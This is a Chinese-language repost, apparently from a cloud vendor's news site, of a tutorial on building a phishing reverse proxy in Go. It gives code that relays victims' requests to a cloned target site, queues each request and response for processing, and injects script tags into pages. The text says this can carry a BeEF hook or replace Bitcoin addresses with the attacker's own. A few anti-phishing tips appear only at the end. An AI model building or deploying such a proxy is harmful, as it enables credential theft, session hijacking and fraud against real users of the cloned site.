您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關(guān)如何在中使用反向代理進行網(wǎng)絡(luò)釣魚測試,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
對于一個攻擊者來說,要想實施一次網(wǎng)絡(luò)釣魚攻擊,往往需要做大量的準備工作。例如搭建釣魚站點,引誘受害者上鉤,捕獲受害者的登錄憑證等。我將教大家使用Go自動化這些過程。
代理被用來釣魚TechOnRoad用戶。你能看出它們之間的差別嗎?
我們的代理需要接收來自受害者的請求,并在發(fā)送到目標網(wǎng)站之前重寫它們。Go有著許多在原生層面對并發(fā)編程進行支持的優(yōu)秀特性,比如Goroutines、Channels等。我們建立了一個簡單的TCP偵聽器,spawn了一個新的goroutine來處理每個傳入的連接和一個goroutine worker來處理請求和響應(yīng)。結(jié)果通過channel從請求處理goroutine傳遞給worker。
// HTTPTransaction represents a complete request - response flow. type HTTPTransaction struct { Request *http.Request Response *http.Response } // PhishingProxy proxies requests between the victim and the target, queuing requests and responses for further processing. type PhishingProxy struct { client *http.Client targetURL *url.URL responseTransformers []ResponseTransformer } func main() { // ... flag parsing and whatnot phishingProxy := &PhishingProxy{ client: client, targetURL: u, responseTransformers: responseTransformers, } transactions := make(chan *HTTPTransaction) go processTransactions(transactions) for { conn, err := server.Accept() if err != nil { log.Println("Error when accepting request,", err.Error()) } go phishingProxy.HandleConnection(conn, transactions) } }
由于Go的優(yōu)秀標準庫,請求處理非常簡潔。http包提供ReadRequest方法,用于解析從連接中讀取數(shù)據(jù)的請求。
defer conn.Close() reader := bufio.NewReader(conn) request, err := http.ReadRequest(reader) if err != nil { log.Println("Error parsing request:", err.Error()) return }
將所有內(nèi)容解析成Golang http.Request后,我們將它傳遞給目標。代理需要重寫來自受害者的HTTP頭,以防止目標站點連接中斷,特別是主機頭和URL。
request.URL.Scheme = p.targetURL.Scheme request.URL.Host = p.targetURL.Host request.Host = p.targetURL.Host request.RequestURI = "" resp, err := p.client.Do(request) if err != nil { log.Println("Proxy error:", err.Error()) return }
在代理上使用HTTP客戶端,我們發(fā)起請求并確保請求成功。
一旦我們得到響應(yīng),我們使用傳遞給代理的ResponseTransformers(后面會詳細介紹)轉(zhuǎn)換它,使用標準庫httputil.DumpResponse函數(shù)將響應(yīng)轉(zhuǎn)換為字節(jié),并將請求和響應(yīng)發(fā)送給goroutine worker之后處理。
for _, transformer := range p.responseTransformers { transformer.Transform(resp) } modifiedResponse, err := httputil.DumpResponse(resp, true) if err != nil { log.Println("Error converting requests to bytes:", err.Error()) return } _, err = conn.Write(modifiedResponse) if err != nil { log.Println("Error responding to victim:", err.Error()) return } transactions <- &HTTPTransaction{ Request: request, Response: resp, }
我們通過一個channel將HTTP事務(wù)傳遞給worker,以加快我們的操作進程避免受害者發(fā)生某些錯誤。
只需指向該代理,就能完美克隆目標網(wǎng)站。
// ResponseTransformer modifies a response in any way we see fit, such as inserting extra JavaScript. type ResponseTransformer interface { Transform(response *http.Response) error }
ResponseTransformer允許你修改響應(yīng)。我們可以用它來任何想做的事情,例如將自定義JavaScript注入到頁面,或者將比特幣地址替換成我們自己的。這對于那些在默認代理中無法100%工作的網(wǎng)站也很有用。
JavaScriptInjectionTransformer使用GoQuery將HTML響應(yīng)解析到DOM樹中,并使用我們傳遞給transformer的URL注入腳本標簽。我們可以使用它來注入BeEF hook或繞過網(wǎng)站的安全防護。
// JavaScriptInjectionTransformer holds JavaScript filename for injecting into response. type JavaScriptInjectionTransformer struct { javascriptURL string } // Transform Injects JavaScript into an HTML response. func (j JavaScriptInjectionTransformer) Transform(response *http.Response) error { if !strings.Contains(response.Header.Get("Content-Type"), "text/html") { return nil } // Prevent NewDocumentFromReader from closing the response body. responseText, err := ioutil.ReadAll(response.Body) responseBuffer := bytes.NewBuffer(responseText) response.Body = ioutil.NopCloser(responseBuffer) if err != nil { return err } document, err := goquery.NewDocumentFromReader(responseBuffer) if err != nil { return err } payload := fmt.Sprintf("<script type='text/javascript' src='%s'></script>", j.javascriptURL) selection := document. Find("head"). AppendHtml(payload). Parent() html, err := selection.Html() if err != nil { return err } response.Body = ioutil.NopCloser(bytes.NewBufferString(html)) return nil }
這類的釣魚攻擊并不是沒有破綻,其實只要我們稍微細心觀察,就能避免掉落壞人的陷阱。為此,我向大家提出以下幾點建議:
為你登錄的網(wǎng)站添加書簽,并僅使用該書簽訪問該網(wǎng)站
即使看到綠色安全提示,也要在登錄前仔細檢查網(wǎng)站的URL是否正常
仔細檢查通過電子郵件發(fā)送給你的任何鏈接并謹慎點擊
看完上述內(nèi)容,你們對如何在中使用反向代理進行網(wǎng)絡(luò)釣魚測試有進一步的了解嗎?如果還想了解更多知識或者相關(guān)內(nèi)容,請關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。